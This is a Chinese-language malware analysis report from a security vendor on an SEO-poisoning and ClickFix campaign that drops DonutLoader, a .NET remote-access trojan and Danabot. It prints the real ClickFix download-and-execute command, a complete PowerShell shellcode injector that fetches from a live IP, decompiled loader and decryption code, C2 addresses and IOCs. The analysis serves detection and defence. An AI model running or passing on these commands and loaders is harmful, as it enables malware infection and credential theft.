概述
近期,瑞星威胁情报平台发现一起利用SEO投毒 + ClickFix组合技术进行初始投递的定向攻击事件。攻击者通过操纵搜索引擎排名,将恶意站点推送至搜索结果前列,诱骗用户访问。随后利用ClickFix技术伪装人机验证,诱导用户在终端中粘贴并执行恶意命令,最终在受害者主机中植入远控木马和信息窃取器。
本次攻击呈现典型的地域定向特征:恶意行为主动排除俄罗斯与白俄罗斯,重点针对美国、加拿大及其他国家/地区,推测攻击者可能为规避这些国家的司法管辖而刻意设计。攻击链中,DonutLoader、DLL侧加载、多层解密存根等规避技术被充分运用,最终释放具备信息窃取和远程控制能力的模块化木马。
事件详情
攻击者通过搜索引擎投毒,将假冒合法网站的恶意站点(www.dmaxxorders.com)推送至搜索结果前列,诱骗用户点击访问。

用户进入恶意站点后,页面伪装成人机验证界面,利用ClickFix技术在后台将恶意命令写入剪贴板,并诱导用户按Win + X打开终端,执行Ctrl + V粘贴与回车操作。恶意命令随即执行,启动一条包含PowerShell无文件载荷、地理区域判读下载器、DonutLoader加载器等多阶段的复杂攻击链。

最终载荷根据受害主机的区域设置进行差异化投放:俄罗斯与白俄罗斯用户不执行任何恶意操作;其他国家部署.NET远控木马用于信息窃取;美国与加拿大用户额外投放Danabot间谍软件。攻击全程采用无文件落地、内存执行、反射加载、DLL侧加载等高级规避技术,传统安全检测手段难以有效识别。
攻击流程
攻击链执行流程。

从用户视角和攻击者视角的对比图可见,用户的每一个正常操作都与攻击者的恶意目标一一对应。这种利用用户信任与认知盲区的手法,正是ClickFix攻击能够屡屡得逞的核心原因。

样本分析
PowerShell无文件载荷分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 1.67 KB (1,718 bytes) |
| 文件MD5 | 1F7289CF5075F6D7E3853CE1FAC4D75C |
| 病毒名 | Trojan.ShellCodeRunner/PS!1.13EE7 |
| 文件类型 | PowerShell |
| 主要功能 | 下载执行恶意载荷 |
用户在终端粘贴并执行的剪贴板命令是一个无文件落地的远程载荷加载器,通过Invoke-Expression动态执行从远程服务器获取的恶意代码。
iex(irm 91.92.242.244 -UseBasicParsing)
从远程服务器下载一个伪装成图片的恶意载荷。经分析,该载荷为DonutLoader加载器,通过VirtualAlloc+Copy+CreateThread的方式实现注入进程执行,无文件落地。
$ypJWuUZFljutJA = "http://158.94.208.104/enterprise/myl.jpg"
try {
# 下载恶意载荷
$rrPsAqZ = Invoke-WebRequest -Uri $ypJWuUZFljutJA -UseBasicParsing -ErrorAction Stop
$JFhSsVZdOdnU = $rrPsAqZ.Content
$PveOlelhytMHgBx = $JFhSsVZdOdnU.Length
# 导入了4个关键的API函数
$YdglvNpDDTfBJEDk = @"
using System;
using System.Runtime.InteropServices;
public class SzmprxkNlE {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr a, uint sz, uint t, uint p);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf, out uint tid);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr h, uint ms);
}
"@
Add-Type -TypeDefinition $YdglvNpDDTfBJEDk
$iSqNRmpmZabeb = 0x1000
$rKvnXx = 0x2000
$RDUJwomxykBBzCMY = 0x40
$DNnxndabcAd = [SzmprxkNlE]::VirtualAlloc([IntPtr]::Zero, $PveOlelhytMHgBx, $iSqNRmpmZabeb -bor $rKvnXx, $RDUJwomxykBBzCMY)
if ($DNnxndabcAd -eq [IntPtr]::Zero) { throw "Alloc failed" }
[System.Runtime.InteropServices.Marshal]::Copy($JFhSsVZdOdnU, 0, $DNnxndabcAd, $PveOlelhytMHgBx)
$XSMWucTLkJ = 0
$EwEICkvsyUhb = [SzmprxkNlE]::CreateThread([IntPtr]::Zero, 0, $DNnxndabcAd, [IntPtr]::Zero, 0, [ref]$XSMWucTLkJ)
if ($EwEICkvsyUhb -eq [IntPtr]::Zero) { throw "Thread failed" }
[SzmprxkNlE]::WaitForSingleObject($EwEICkvsyUhb, 30000) | Out-Null
Write-Host "done."
}
catch {
exit 1
}
DonutLoader加载器分析
| 字段 | 内容 |
|---|---|
| 文件名 | myl.jpg |
| 文件大小 | 52.0 KB (53,323 Bytes) |
| 文件MD5 | B22883A21713A2C8FE0CAE5500EB7C8F |
| 病毒名 | Trojan.DonutLoader!1.133EF |
| 文件类型 | DOSCOM |
| 主要功能 | 加载执行内嵌的PE程序 |
这段ShellCode是通过DonutLoader配置的载荷,DonutLoader是一个开源ShellCode生成器,用于将.NET程序、DLL和EXE封装为位置无关的、用于内存执行的ShellCode。解包过程中,ShellCode使用Chaskey-LTS块密码在CTR模式下解密加载器嵌入的配置和执行上下文,密钥为(E4A4C3D787FA87E6606C92635E35D131)和 IV(7091FE2D3DEAA4D42F07657F5E2BD493)。
ShellCode首次执行时,通过头部的跳转指令动态获取核心配置结构体的基址。随后进入初始化流程:在内存中申请一块新的缓冲区,解密内嵌的加密数据区,并验证解密数据的完整性。
// 解析API哈希获取动态地址
VirtualAlloc_v8 = API_Hash_Resolve_9C55(a1, a2, *((_QWORD *)a4 + 9), (_DWORD)a4, *((_QWORD *)a4 + 5), a6);
VirtualFree_v10 = API_Hash_Resolve_9C55(a1,a2,*((_QWORD *)a4 + 10),(_DWORD)a4,*((_QWORD *)a4 + 5),v9);
RtlExitUserProcess_v12 = API_Hash_Resolve_9C55(a1, a2, *((_QWORD *)a4 + 61), (_DWORD)a4, *((_QWORD *)a4 + 5), v11);
RtlExitUserProcess_v13 = RtlExitUserProcess_v12;
if ( !VirtualAlloc_v8 || !VirtualFree_v10 || !RtlExitUserProcess_v12 )
return 0xFFFFFFFFLL;
new_mem_v14 = VirtualAlloc_v8(a1, a2, *a4, 0, 0x3000, 4);// 分配内存
new_mem_v16 = new_mem_v14;
if ( !new_mem_v14 )
{
if ( a4[140] == 2 )
RtlExitUserProcess_v13(0, a2, v15, 0);
return 0xFFFFFFFFLL;
}
memcpy_A235(new_mem_v14, a2, (__int64)a4, (_BYTE *)new_mem_v14, *a4);// 将加密数据复制到新申请的内存中
((void (__fastcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))memset_A255)(new_mem_v16,a2,0,(unsigned int)v52,64,v18);
if ( *(_DWORD *)(new_mem_v16 + 564) != 3
|| (decrypt_9E55( // 执行Maru-Chaskey-CTR解密
new_mem_v16,
a2,
(_OWORD *)(new_mem_v16 + 0x14),
new_mem_v16 + 4,
(_BYTE *)(new_mem_v16 + 0x23C),
*(_DWORD *)new_mem_v16 - 0x23C),
crc_compute_9CC9(new_mem_v16, a2, *(_QWORD *)(new_mem_v16 + 40), new_mem_v16 + 3116, v20, v21) == *(_QWORD *)(new_mem_v16 + 3376)) ) //CRC完整性校验
解密后的数据主要由配置数据段与PE映像组成。其中,数据段部分详细包含了加载程序所需的DLL名称、API数量以及对应的哈希值列表。

最终,加载器提取并手动映射内嵌的PE文件,修复环境后调用其入口点执行。

地理区域判读下载器分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 21.5 KB (22,016 bytes) |
| 文件MD5 | 02C8100A7614E68E54CCB62936A59E2C |
| 病毒名 | Downloader.Agent!1.141B7 |
| 文件类型 | EXE |
| 主要功能 | 下载执行恶意载荷 |
该样本为下载器,执行后首先查询注册表项HKCU\Control Panel\International\Geo\Name获取系统地理区域设置,据此决定执行分支。若地理区域为俄罗斯或白俄罗斯,样本直接退出;其他国家则下载执行enterprise/my_s.bin。若地理区域为美国或加拿大,样本还会额外下载执行enterprise/my_downloader.bin,表明该载荷是针对美加两国的定向补充模块。
| 地理区域 | 下载载荷 |
|---|---|
| 俄罗斯/白俄罗斯 | 不执行任何恶意操作 |
| 美国/加拿大 | my_s.bin + my_downloader.bin |
| 其他国家 | my_s.bin |
privileges_14000163B(); // 提权,启用SeDebugPrivilege权限
flag_140001A02 = query_reg_140001A02(Geo_String1, 16u);// 检索系统配置的地理区域代码
if ( flag_140001A02 )
{
if ( (unsigned int)wcscmp_140001AC8(Geo_String1) )// 判断地理区域是否为俄罗斯或白俄罗斯
goto LABEL_19;
if ( wcscmp(Geo_String1, L"US") )
flag_140001A02 = wcscmp(Geo_String1, aC) == 0;
}
if ( (unsigned int)Download_1400016D6() // 恶意载荷下载,地址enterprise/my_s.bin
&& (svchostID_140001545 = OpenProcess_140001545(0), (v3 = svchostID_140001545) != 0) )// 打开svchost.exe进程
{
if ( (unsigned int)inject_svchost_140001907(svchostID_140001545, (__int64)v7) )// 注入到svchost进程并执行
free_1400019D8((__int64)v7);
}
else
{
v3 = 0;
}
if ( flag_140001A02 ) // 地理区域为美国或加拿大时执行分支
{
if ( (unsigned int)Download_1400016D6() ) // 恶意载荷下载,地址enterprise/my_downloader.bin
{
v5 = OpenProcess_140001545(1);
if ( v5 )
{
if ( v3 != v5 && (unsigned int)inject_svchost_140001907(v5, (__int64)v8) )// 注入到svchost进程并执行
free_1400019D8((__int64)v8);
}
}
}
LABEL_19:
free_1400019D8((__int64)v7);
.NET远控木马分析
| 字段 | 内容 |
|---|---|
| 文件名 | pos31.exe |
| 文件大小 | 145 KB (148,992 bytes) |
| 文件MD5 | CECB678849FA199D37A5F2F04B8783BC |
| 病毒名 | Backdoor.Agent!1.141C3 |
| 文件类型 | EXE |
| 主要功能 | .NET版远控木马 |
下载的宿主样本my_s.bin是一个原生C++程序,通过CLR托管API反射加载内嵌的.NET程序集。
.text:00007FF791251044 call cs:CLRCreateInstance ; 创建CLR元数据
.text:00007FF79125104A mov r15d, 1
.text:00007FF791251050 test eax, eax
.text:00007FF791251052 jz short loc_7FF791251077
.text:00007FF791251054 lea rax, [rbp+57h+var_98]
.text:00007FF791251058 mov [rsp+0F0h+var_D0], rax
.text:00007FF79125105D lea r9, unk_7FF7912688E0
.text:00007FF791251064 lea r8, unk_7FF791268900
.text:00007FF79125106B xor edx, edx
.text:00007FF79125106D xor ecx, ecx
.text:00007FF79125106F call cs:CorBindToRuntime ; 绑定到指定版本的.net运行库
.text:00007FF791251075 jmp short loc_7FF7912510D5
.text:00007FF791251077 ; ---------------------------------------------------------------------------
.text:00007FF791251077
.text:00007FF791251077 loc_7FF791251077: ; CODE XREF: WinMain+42↑j
.text:00007FF791251077 mov qword ptr [rbp+57h+var_B8.cElements], r14
.text:00007FF79125107B mov [rbp+57h+var_B0], r14
.text:00007FF79125107F mov qword ptr [rbp+57h+rgIndices], r14
.text:00007FF791251083 mov rcx, [rbp+57h+var_90]
.text:00007FF791251087 mov rax, [rcx]
.text:00007FF79125108A lea rdx, [rbp+57h+var_B8]
.text:00007FF79125108E call qword ptr [rax+28h] ; 调用GetVersionFromProcess获取CLR版本号
.text:00007FF791251091 mov rcx, qword ptr [rbp+57h+var_B8.cElements]
.text:00007FF791251095 mov rax, [rcx]
.text:00007FF791251098 xor r9d, r9d
.text:00007FF79125109B lea r8, [rbp+57h+var_B0]
.text:00007FF79125109F mov edx, r15d
.text:00007FF7912510A2 call qword ptr [rax+18h]
.text:00007FF7912510A5 mov rcx, [rbp+57h+var_B0]
.text:00007FF7912510A9 mov rax, [rcx]
.text:00007FF7912510AC lea r8, [rbp+57h+rgIndices]
.text:00007FF7912510B0 lea rdx, unk_7FF791268930
.text:00007FF7912510B7 call qword ptr [rax] ; 执行_CorExeMain
该程序集经高度混淆处理,本地方法名与 C2 地址等关键信息被加密存储,需经过自定义的自适应动态流解密算法方可还原。该算法主要包含以下三个环节:
-
头部校验与参数提取:通过前5字节校验数据合法性,验证固定标志位后,从中提取16位种子值、2位分支控制位以及期望校验和。分支控制位决定了解密过程中采用异或还是加减法操作,形成4种不同的解密分支组合。
-
动态密钥流生成与解密:基于种子值、当前位置索引和前一明文滚动生成动态密钥,每个字节的解密都依赖之前字节的解密结果。解密过程中依次进行S盒映射、分支逆变换、循环右移和二次逆变换,逐字节还原明文。
-
完整性校验:解密完成后,通过滚动校验和机制比对期望值,确保数据未被篡改或损坏。
部分混淆的字符串列表。

解密代码如下:
internal static byte[] que15(byte[] A_0)
{
if (A_0 != null)
{
int num = A_0.Length;
if (num >= 5)
{
int num2 = (int)(A_0[0] ^ 242);
if ((num2 & 15) == 2)
{
int num3 = (int)(((uint)num2 >> 4) & 3U);
int num4 = (int)(A_0[1] ^ 142);
num4 = ((int)(A_0[2] ^ 97) << 8) | num4;
int num5 = (int)A_0[3] ^ (num4 & 255) ^ 104;
num5 = (int)((((uint)A_0[4] ^ (((uint)num4 >> 8) & 255U) ^ 69U) << 8) | (uint)num5);
int num6 = num - 5;
byte[] array = new byte[num6];
int num7 = (num4 ^ 40) & 255;
int num8 = 2620;
for (int i = 0; i < num6; i++)
{
int num9 = (int)A_0[i + 5];
int num10 = ((num4 + (i + 1) * 17 + 61) ^ ((num7 + i + 1) * 53)) & 65535;
num9 = (int)que858.col5[num9];
if ((num3 & 1) != 0)
{
num9 ^= (int)(((uint)num10 >> 8) & 255U);
}
else
{
num9 = (num9 - (int)(((uint)num10 >> 8) & 255U)) & 255;
}
num9 = (int)((((uint)num9 >> (num10 & 7)) | (uint)((uint)num9 << 8 - (num10 & 7))) & 255U);
if ((num3 & 2) != 0)
{
num9 ^= num10 & 255;
}
else
{
num9 = (num9 - (num10 & 255)) & 255;
}
array[i] = (byte)num9;
num8 = ((num8 ^ num9 ^ ((i + 1) * 127)) + 31) & 65535;
num7 = num9;
}
if (num8 == num5)
{
return array;
}
}
}
}
return new byte[0];
}
解密后的远控木马具备信息搜集、文件操作、注册表读写等能力,并支持通过CreateProcess执行任意命令。其C2地址为91.92.243.161。

以下是功能列表:
| 功能 | 类/方法名 |
|---|---|
| 远程执行 | CreateProcess + 隐藏窗口 + I/O 重定向 |
| 屏幕监控 | CopyFromScreen → JPEG → C2 上传 |
| 文件管理 | 读写/枚举/删除/内存映射 |
| 注册表 | HKLM/HKCU 读写 |
| 进程枚举 | GetProcesses 全量枚举 + 进程终止 (Kill) |
DLL侧加载分析
| 字段 | 内容 |
|---|---|
| 文件名 | SDL3.dll |
| 文件大小 | 14.6 MB (15,346,688 bytes) |
| 文件MD5 | 66101DA233671E701C5FDE54222E1BB1 |
| 病毒名 | Trojan.Kryptik/x64!1.141D7 |
| 文件类型 | DLL |
| 主要功能 | 侧加载执行恶意代码 |
地理区域为加拿大或美国时额外下载执行my_downloader.bin,该样本为Rust编写的下载器,从158.94.208.104/x7GkP2mQ9zL4/dllside.zip下载ZIP包。该压缩包内含合法EXE与恶意DLL,解压至C:\Users\Public\exeWN-后,通过CreateProcessA执行合法EXE,Windows的DLL搜索顺序将自动加载同目录下的恶意DLL,实现侧加载攻击。
sub_14003CBA0((unsigned int)&v310, v18, v19, (unsigned int)"payload.zippowershell", 11);
v21 = InternetOpenA("powershell", 0, 0, 0, 0);// User-Agent伪装
if ( !v21 )
goto LABEL_36;
v22 = (__int64)v21;
v23 = InternetOpenUrlA(v21, "http://158.94.208.104/x7GkP2mQ9zL4/dllside.zip", 0, 0, 0, 0);
if ( !v23 )
{
InternetCloseHandle((HINTERNET)v22);
v17 = (unsigned __int64)v327;
LODWORD(v327[0]) = 0;
while ( InternetReadFile(v24, v333, 0x2000u, (LPDWORD)v327) )
加载的SDL3.dll是一个基于合法库文件魔改的恶意DLL。该样本主要包含加载器与恶意`ShellCode·两部分,两者入口处均采用自定义自解密算法,需经运算后方能还原真实恶意代码。攻击者对该样本进行了三处关键修改:
一是在.text段中插入加载器代码,负责执行后续ShellCode;

二是将.text段属性由默认的可读、可执行修改为E0000020(可读、可写、可执行),以支持代码运行时的自解密修改;

三是将恶意ShellCode存放在.reloc区段,由加载器代码解析并执行,以规避静态检测。

.text段内的加载器代码在入口处经过多层自解密循环方能还原真实逻辑,解码后呈现为一个高度混淆的恶意加载器。

攻击者综合运用控制流平坦化、混合布尔算术(MBA)、不透明谓词及跨区域函数分块等混淆技术,破坏常规函数边界检测,导致IDA等静态分析工具无法可靠重建控制流,需依赖动态调试与手动修复。
v20 = ((__int64 (__fastcall *)(__int64, _QWORD *, __int64, __int64))bool_operation_18A7E9)(
a1,
v8,
103566715,
59792713);
sub_183B66(a1, v8, v20, v10, v155);
v140[0] = 1;
LOBYTE(v192) = 0;
for ( i = 0xD4F38529; ; i = 0x96AE09A1 )
{
while ( i <= 0x17EDAFD2 )
{
if ( i == 0x96AE09A1 )
{
v30 = alloca(nullsub_3(0x704DE6F8));
v139 = sub_18A813(0x704DE6F8, 401453011, 0xE3DEADACF7C40E88LL, 0x169B62D4F6B126D1LL);
v32 = ((__int64 (__fastcall **)(__int64, __int64, __int64, __int64 *))v151)[0](
0x704DE6F8,
401453011,
v31,
&v139);
v33 = ((__int64 (__fastcall *)(__int64, __int64, __int64, __int64))bool_operation_18A7E9)(
0x704DE6F8,
401453011,
1194939042,
32532219);
sub_183B66(0x704DE6F8, 401453011, v33, v32, v160);
i = 401453011;
}
else
{
v22 = v140[0] ^ 1 ^ (v140[0] ^ 1) & v140[0] ^ 1 | (v140[0] ^ 1 | (v140[0] ^ 1) & v140[0] ^ 1) ^ 1;
v23 = v192 & (v22 ^ 1) | (v192 ^ 1) & v22;
v24 = -1766979167;
if ( ((v23 ^ (unsigned __int8)(v192 ^ v140[0] | (v192 | v140[0]) ^ 1)) & 1) != 0 )
v24 = 0x704DE6F8;
i = -1766979167;
if ( (((unsigned __int8)(v192 ^ v140[0]) | (unsigned __int8)(v192 | v140[0]) ^ 1) & 1) != 0 )
i = v24;
if ( (v23 & 1) == 0 )
i = v24;
}
}
if ( i == 401453011 )
break;
v25 = alloca(nullsub_3(0x704DE6F8));
v26 = alloca(nullsub_3(0x704DE6F8));
v139 = sub_18A813(0x704DE6F8, 401453011, 0xE3DEADACF7C40E88LL, 0x169B62D4F6B126D1LL);
v28 = ((__int64 (__fastcall **)(__int64, __int64, __int64, __int64 *))v151)[0](0x704DE6F8, 401453011, v27, &v139);
v29 = ((__int64 (__fastcall *)(__int64, __int64, __int64, __int64))bool_operation_18A7E9)(
0x704DE6F8,
401453011,
1194939042,
32532219);
此外,该加载器具备极强的环境感知能力,通过模拟环境检测、硬件资源检查、显示刷新率测试及地理位置/语言过滤等手段规避分析,例如调用mpr!WNetAddConnection2W连接畸形网络资源(*72s@1s)以识别沙箱环境。

Danabot分析
| 字段 | 内容 |
|---|---|
| 文件大小 | 12.8 MB (13,485,568 bytes) |
| 文件MD5 | B52FE5EBDE2E3AEEEBCE53DCD6700E68 |
| 病毒名 | Spyware.Danabot!1.1424B |
| 文件类型 | EXE |
| 主要功能 | 间谍软件 |
Danabot是隐藏在.reloc区段中的恶意代码,经多阶段自解密与加载后,最终在内存中执行的间谍软件。其执行流程为:.reloc段代码经自解密还原为DonutLoader,后者解密内嵌的Danabot加载器并执行;Danabot加载器再经多阶段解密,最终还原Danabot本体。整个过程均在内存中完成,无文件落地。
.reloc段入口处为一自修改函数,用于启动后续的自解密流程:
seg000:0000000000BE0371 sub_BE0371 proc near ; CODE XREF:
seg000:0000000000BE0371 inc r13
seg000:0000000000BE0374 or r14, r14
seg000:0000000000BE0377 dec r13
seg000:0000000000BE037A jmp short loc_BE0380
seg000:0000000000BE037C db 6Ah ; j
seg000:0000000000BE037D sar byte ptr [rsi+3], cl
seg000:0000000000BE0380
seg000:0000000000BE0380 loc_BE0380: ; CODE XREF: sub_BE0371+9↑j
seg000:0000000000BE0380 pop rdi
seg000:0000000000BE0381 jmp short loc_BE0387
seg000:0000000000BE0383 db 9Ah, 24h, 1Fh, 4
seg000:0000000000BE0387 loc_BE0387: ; CODE XREF: sub_BE0371+10↑j
seg000:0000000000BE0387 ror dword ptr [rdi+4], 6Bh
seg000:0000000000BE038B cld
seg000:0000000000BE038C add dword ptr [rdi+8], 8E5BD770h
seg000:0000000000BE0393 ror dword ptr [rdi+0Ch], 0E3h
seg000:0000000000BE0397 wait
seg000:0000000000BE0398 add dword ptr [rdi+10h], 5037DD1Dh
seg000:0000000000BE039F jmp rdi ; 跳转执行解码后的代码
seg000:0000000000BE039F sub_BE0371 endp ; sp-analysis failed
自解密循环执行后,还原出的真正恶意代码即DonutLoader加载器。

使用Chaskey-LTS块密码(CTR模式)解密配置信息与加密数据。与攻击链前段不同的是,此处DonutLoader解密后并未直接获得可执行PE,而是得到一组仍需经自定义解密算法处理的加密数据。

Danabot加载器同样采用多层解密机制:首先解密内嵌的恶意载荷并在内存中执行;执行后的载荷再次解密,最终还原Danabot间谍软件本体,并通过手动映射的方式加载执行。
加载器主函数代码,解码内嵌的恶意载荷并执行。
sub_40EC10(&vars58, L"kernel32.dll");
sub_40EC10(&vars50, L"VirtualAlloc");
v0 = (const WCHAR *)sub_40F7D0(vars58);
LibraryW_0 = LoadLibraryW_0(v0); // 加载Kernel32.dll
v1 = sub_40F7D0(vars50);
VirtualAlloc_ = (__int64 (__fastcall *)(_QWORD, _QWORD, __int64, __int64))GetProcAddress_41A700(
LibraryW_0,
(const CHAR *)v1);// 获取VirtualAlloc地址
if ( VirtualAlloc_ )
{
LOBYTE(v2) = 1;
vars60 = sub_40B200((__int64)off_F098F8, v2);
sub_F2F5B0(vars60, (__int64)data_443270, *off_1000CF8);
if ( (unsigned __int8)sub_FCEB20(&vars60, *(_QWORD *)off_1000CF0) )
{
sub_FCE800((__int64)vars28, vars60);
v3 = (**(__int64 (__fastcall ***)(__int64))vars60)(vars60);
vars48 = VirtualAlloc_(0, v3, 0x3000, 64);// 申请内存
(*(void (__fastcall **)(__int64, _QWORD, _QWORD))(*(_QWORD *)vars60 + 72LL))(vars60, 0, 0);
v4 = (**(__int64 (__fastcall ***)(__int64))vars60)(vars60);
sub_F2E340(vars60, vars48, v4); // 解码payload
sub_40B2C0(vars60);
exec_payload_FCEB10(vars48); // 执行解码后的payload
}
}
解码后的载荷包含第二个解码函数,用于对Danabot本体进行解密。
_BYTE *v0; // rsi
char v1; // dl
char result; // al
__int64 v3; // rcx
v3 = key_C48;
v0 = &payload_C50; // 加密的恶意载荷
result = -117;
v1 = 0;
while ( 1 ) // 解码算法
{
*v0++ ^= v1++ ^ 0x8B;
if ( !v3 )
break;
--v3;
}
return result;
}
Danabot是一个知名的模块化恶意软件,具有信息窃取、远程控制、银行木马、载荷投递等多种模块。
| 功能 | 关键字符串证据 |
|---|---|
| 键盘记录 | KeyLogger, KeyLoggerRecord, :KeyLoggerRecord.:1 |
| 浏览器密码窃取 | APassword, FPassword, FBrowsers, IsFirefox |
| Cookie 窃取 | AddCookie, SetCookie, FOnCookie |
| 剪贴板监控 | ClipBoard |
| 浏览器历史 | HistoryEx |
| 证书存储窃取 | FhCAStore, X509Store, CertDescrp, MsStoreMy |
| Windows 凭据 | QUERY_CREDENTIALS_ATTRIBUTES_FN_W |
| 截屏 | DirectX 相关 + GIF 图像处理 (Vcl.Imaging.GIFImg) |
| 命令执行 | OnExecute, Command, CommandRecord |
| 浏览器注入 | UseInject, FInjected(用于Web注入攻击银行网站) |
另外,该样本的.text 区段中包含一个大约44KB的DGA单词表,用于算法化生成 C2 域名:
timedownlifeleftbackcodedatashowonlysitecityopenjustlikefreeworktextyearover
bodyloveformbookplaylivelinehelphomesidemorewordlongthemviewfindpagedaysfull
headtermeachareafromtruemarkableuponhighdatelandnewsevennextcasebothpostused
madehandherewhatnameLinkblogsizebaseheldmakemainuser...
生成的远程服务器地址包括多个IP地址和.onion域名。
144.31.236.112:443
144.31.236.113:443
144.31.236.114:443
aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad.onion:443
fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad.onion:443
t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead.onion:443
vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd.onion:443
总结
本次攻击是SEO投毒 + ClickFix组合技术的典型实战化应用。攻击者通过操纵搜索引擎结果,将恶意站点伪装成正常页面,利用ClickFix诱导用户手动执行剪贴板命令。这种依赖用户交互的初始入侵方式,绕过了传统网络层与端点防护,使普通用户在毫无察觉的情况下主动打开了攻击入口。
攻击链启动后,后续各阶段广泛采用无文件落地、内存执行、反射加载、DLL侧加载、多层解密存根、反沙箱检测等高级规避技术。传统安全软件依赖文件扫描与已知特征检测,在此类攻击面前几乎无法有效拦截。攻击者通过层层解包与动态加载,将最终恶意载荷深藏于内存之中,基于静态特征的检测手段彻底失效。
此次事件再次表明:用户安全意识薄弱,叠加攻击者日益精进的免杀技术,正在形成一条高度危险的攻击路径。政企机构应加强终端行为监控与审计,同时将此类新型社会工程学攻击手法纳入员工安全意识培训体系。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知与
EDR等行为检测产品。网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,
EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。 -
安装有效的杀毒软件。
杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。
瑞星目前已可检出此次攻击事件的相关样本。

-
通用安全建议:及时修补系统补丁和重要软件补丁。
及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。
沦陷信标(IOC)
- MD5
1F7289CF5075F6D7E3853CE1FAC4D75C
B22883A21713A2C8FE0CAE5500EB7C8F
02C8100A7614E68E54CCB62936A59E2C
CECB678849FA199D37A5F2F04B8783BC
A2FDF7AD9CC247C58B8979BF25593D21
66101DA233671E701C5FDE54222E1BB1
B52FE5EBDE2E3AEEEBCE53DCD6700E68
- DOMAIN
www.dmaxxorders.com
aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad.onion
fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad.onion
t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead.onion
vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd.onion
- IPV4
91.92.242.244
91.92.243.161
144.31.236.112
144.31.236.113
144.31.236.114
158.94.208.104
- 瑞星病毒名
Trojan.ShellCodeRunner/PS!1.13EE7
Downloader.Agent!1.141B7
Backdoor.Agent!1.141C3
Downloader.Agent!1.141C1
Trojan.Kryptik/x64!1.141D7